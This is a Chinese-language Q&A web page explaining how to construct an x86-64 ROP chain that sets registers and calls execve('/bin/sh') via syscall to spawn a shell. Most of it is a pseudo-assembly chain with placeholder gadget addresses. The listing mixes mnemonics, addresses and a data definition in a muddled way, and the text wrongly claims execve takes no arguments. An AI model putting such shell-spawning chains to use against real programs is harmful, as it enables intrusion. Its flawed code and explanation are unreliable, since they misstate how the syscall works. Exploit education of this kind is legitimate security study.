构造syscall调用execve的rop
时间: 2024-01-01 17:05:54 浏览: 145
my_syscall.zip_my_syscall_syscall_内核模块_系统调用
ROP(Return-oriented Programming)是一种攻击技术,它利用程序的已有代码(即gadget)来构造攻击。在构造syscall调用execve的ROP时,我们需要找到一些适合我们需要的gadget,以及一个能够满足我们需求的内存区域来存储我们的ROP链。
以下是一个构造syscall调用execve的ROP的示例:
```
; pop rax ; ret gadget
pop_rax_ret:
0x000000000040089c
; pop rdi ; ret gadget
pop_rdi_ret:
0x000000000040089e
; pop rsi ; ret gadget
pop_rsi_ret:
0x00000000004008a0
; pop rdx ; ret gadget
pop_rdx_ret:
0x00000000004008a2
; syscall gadget
syscall:
0x00000000004005f6
; address of "/bin/sh" string
bin_sh:
db '/bin/sh',0
rop:
; set rax to 0x3b (execve syscall number)
pop rax ; ret
0x000000000040089c
0x3b
; set rdi to the address of "/bin/sh" string
pop rdi ; ret
0x000000000040089e
bin_sh
; set rsi to 0
pop rsi ; ret
0x00000000004008a0
0x0
; set rdx to 0
pop rdx ; ret
0x00000000004008a2
0x0
; syscall
syscall
```
在这个例子中,我们使用了以下gadgets:
- pop rax ; ret:弹出栈顶元素到rax寄存器中;
- pop rdi ; ret:弹出栈顶元素到rdi寄存器中;
- pop rsi ; ret:弹出栈顶元素到rsi寄存器中;
- pop rdx ; ret:弹出栈顶元素到rdx寄存器中;
- syscall:执行系统调用。
我们的ROP链的第一步是将rax寄存器设置为execve系统调用的编号(0x3b)。接下来,我们将/bin/sh字符串的地址传递给rdi寄存器。然后,我们将rsi和rdx寄存器都设置为0,因为execve系统调用不需要任何参数。最后,我们使用syscall gadget来执行系统调用。
请注意,我们需要在内存中准备/bin/sh字符串,因为execve系统调用需要它。在这个例子中,我们将/bin/sh字符串存储在名为bin_sh的标签中。在实际攻击中,这个字符串可以存储在任何我们可以访问的内存区域中。
阅读全文